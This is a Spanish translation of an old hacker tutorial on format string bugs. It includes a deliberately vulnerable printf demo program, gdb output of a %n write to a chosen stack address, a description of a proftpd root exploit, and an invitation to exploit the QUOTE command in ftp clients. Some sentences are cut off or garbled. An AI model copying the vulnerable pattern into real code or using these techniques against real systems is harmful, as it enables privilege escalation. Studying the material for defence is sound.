Que son los format bugs y como aprobecharse de ellos.
Texto Completo:
/* translated by honoriak <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
> thz, lamagra for let me translate
and publish it. 27.11.2000 */
Format Bugs: Que son, De donde vienen,......
...Como "explotarlos"
por lamagra <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
-------> Que son
El concepto es bastante simple: cuando una funcion *printf() (ej.
printf(char *fmt,... es llamada y fmt es metido por el usuario. El usuario
puede poner en las cadenas de formato %s %p %x en el fmt. *printf los
convertira con los argumentos suministrados.
El problema es que *printf() no sabe donde esta el "stop" de los argumentos.
Cuando hay una nueva cadena de formato simplemente lee la proxima cosa
de la pila. Veamos un ejemplo.
<++> ptest.c
#include
blaat(char *fmt,...)
{
va_list va;
int i;
char *addr;
va_start(va,fmt);
printf("---| principio |---\n");
for(i = 0;i < 5;i++)
{
addr = va_arg(va,char *);
printf("%p\n",addr);
}
printf("---| final |---\n");
va_end(va);
}
main(int argc,char **argv)
{
char buf[8];
char *prot = (char *)0x12345678;
strncpy(buf,argv[1],8);
blaat(argv[1]);
printf(argv[1]);
putchar('\n');
}
<-->
h:/tmp/temp# gcc ptest.c -o ptest
h:/tmp/temp# ptest blaat
---| principio |---
0x12345678
0x61616c62
0xbfff0074
0xbffffb24
0x804855e
---| final |---
blaat
Un argumento simple hace que se saque en pantalla 5 cosas de la parte de
arriba de la pila antes de la llamada a blaat(). Puedes ver que 0x12345678
es el contenido de 'prot' y el contenido de buf es nuestro argumento. L
salida de printf() simplemente es nuestro argumento.
Ahora ejecutemos de nuevo con alguna cadena de formato en el argumento, uso
%p para no petar el programa.
h:/tmp/temp# ptest AAAA%p
---| principio |---
0x12345678
0x41414141
0xbf007025
0xbffffb24
0x804855e
---| final |---
AAAA0x12345678
Ahora la salida del printf() es bastante interesante. Escribe 4 veces 'A' y
la %p es reemplazada por la direccion de la parte de arriba de la pila.
Cuando aumentemos mas %p's al argumento veremos que cada elemento de la pila
sera imprimido a continuacion.
------> Como aprovecharse de esto?
Lo primero a hacer, es probar todos los tipos de cadenas de formato:
%c, %f, %d, %s, %p, %i, %n, etc
%n es probablemente el mas interesante, Escribe el numero de bytes impresos
a la ubicacion apuntada por el argumento.
un ejemplo simple:
int q;
printf("AAAA%n",&q);
q = 4 despues de eso
Como hemos visto en tests previos, nuestro argumento es copiado a buf, y
tambien esta en la pila. Si reemplazamos las AAAA con una direccion valida y
despues escribimos a esa direccion usando %n. Veamos:
h:/tmp/temp# gdb --exec=a.out --symbols=ptest
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-slackware-linux"...
(gdb) r
Starting program: /tmp/temp/a.out
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x8048090 in ___crt_dummy__ ()
(gdb) break *main+60
Breakpoint 1 at 0x804821c: file ptest.c, line 30.
(gdb) break *main+65
Breakpoint 2 at 0x8048221: file ptest.c, line 30.
(gdb) c
Continuing.
---| principio |---
0x12345678
0xbffffb10
0x6e257025
0xbffffb00
0x80480ee
---| final |---
Breakpoint 1, 0x804821c in main (argc=2, argv=0xbffffba0) at ptest.c:30
30 printf(argv[1]);
(gdb) x/wx 0xbffffb10
0xbffffb10: 0x00000000
(gdb) c
Continuing.
Breakpoint 2, 0x8048221 in main (argc=2, argv=0xbffffba0) at ptest.c:30
30 printf(argv[1]);
(gdb) x/wx 0xbffffb10
0xbffffb10: 0x0000000e
(gdb) c
Continuing.
{ ?0x12345678
Program exited with code 012.
(gdb) q
h:/tmp/temp#
a.out es un simple programa que ejecuta ptest con \x10\xfb\xff\xbf%p%n como
argumento, como puedes ver %p imprime la primera direccion y %n escribe a
0xbfffb10. Que guay, creo que si.
Que puedes hacer con esto, te preguntas. Bueno, puedes sobreescribir
cualquier cosa dentro del programa (excepto regiones mapeadas PROT_WRITE
como .text). Esto puedes ser bastantes veces.
En mi exploit del proftpd lo escogi para salvar la uid y parte de las
configuraciones en memoria. El demonio abandona los privilegios de root para
abrir una conexion de datos (en LIST, RETR, etc) y despues de eso cambia a
la vieja uid (salvada en memoria). La idea general era tener uid 0, abrir
una conexion de datos y subir a privilegios de root dentro del proftpd. Con
acceso local es suficiente, tu subes y CHMOD 4755 (-rwsr-xr-x), y proftp
permite 'suidgid flags' a diferencia de wuftpd.
Pero con acceso anonimo, no puedes escribir a disco por causa de la
configuracion. Se hace una cosa muy simple, corromper la configuracion. En
este caso corromper 'Densetting.
Otras cosas que hacer ej. cambiar el ultimo byte del puntero de la pila,
datos en memoria y muchas mas cosas.
Una cosa interesante en la nueva version de glibc es que por ejemplo
%, punteros de
funciones, jmp_bug's etc...
Todo esto esta muy bien, pero es realmente duro a veces. Algun tipo de
cadenas definidas por el usuario tiene que estar en algun sitio en la pila
cuando la funcion es llamada. Esto requiere algunos traceados inversos de la
pila y jugueteos. A veces tienes que volver a unas pocas funciones antes
funciones antes de que un buffer este al alcance.
Conclusion: esos bugs son grandes, a veces...
Esto concluye una breve introduccion a los format bugs. Si quieres jugar
algo mas con este tipo de bugs, juega un poco con el programa ptest.
Y quizas intenta explotar el programa de ftp en bsd, linux, windows...
tienen este tipo de agujero de seguridad en el comando QUOTE. Esto no es
gran cosa pero resulta util como juego.
------> The end
http://lamagra.seKure.de
/* translated finished Sat Dec 2 01:04:51 CET 2000 */
|